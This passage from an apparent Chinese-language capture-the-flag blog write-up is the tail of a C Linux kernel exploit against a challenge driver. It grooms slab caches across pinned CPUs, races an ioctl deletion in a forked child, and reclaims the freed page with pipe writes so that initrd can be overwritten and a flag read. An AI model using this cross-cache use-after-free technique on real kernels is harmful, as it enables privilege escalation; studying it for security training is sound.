   void</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> mmap</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">NULL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, SIZE, PROT_READ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> PROT_WRITE, MAP_PRIVATE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAP_ANON </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> MAP_POPULATE, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    info</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"0x</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">%lx</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    cue ue </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        .id </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        .va_start </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        .va_end </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> SIZE,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        .corrupted </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">  // victim</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> ioctl</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">fd, ADD_ENTRY, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ue</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">  // victim</span><br><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    spary</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    delete</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">  // cpu1</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> min_partial </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        spary</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        delete</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // getchar();</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    spary</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">  // 把已经满的 CPU1 的 Partial Slabs 全部放到 node_list 里，其中包含 victim 所在的 slab page</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    delete</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // now, victim slab in node_list</span><br><br><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    bind_core</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    spary</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    getchar</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    bind_core</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    sleep</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1.0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    *</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">char</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">91</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pid </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> fork</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pid</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        bind_core</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        usleep</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> ioctl</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">fd, DEL_ENTRY, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ue</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        info</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"child ioctl ret: </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">%d</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, ret</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        bind_core</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            cue tmp </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .id </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> ids</span><span style="--shiki-light:#971368;--shiki-dark:#ffadd4">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#971368;--shiki-dark:#ffadd4">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .va_start </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .va_end </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .corrupted </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            </span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">}</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> ioctl</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">fd, DEL_ENTRY, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">tmp</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">}</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        while</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">{</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">}</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        exit</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    usleep</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> ioctl</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">fd, CHECK_ENTRY, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ue</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    info</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"parent ioctl ret: </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">%d</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, ret</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    bind_core</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> size; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        write</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">fds</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">]</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, payload, PAGE_SIZE</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">  // pipe 会 alloc_page</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    while</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">sem </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        asm</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> volatile</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">pause</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ::: </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">memory</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">  // 避免编译器优化</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> flag </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> open</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"/tmp/initrd.gz"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, O_RDWR</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">	write</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">flag, initrd, INITRD_SIZE</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">	system</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"strings /tmp/initrd.gz | grep dice{"</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    return</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br></code></pre></div></article></main></div><footer class="footer"><div class="footer-row footer-links"><span class="footer-label">保持联系</span><a href="mailto:xzy1476569428@163.com" 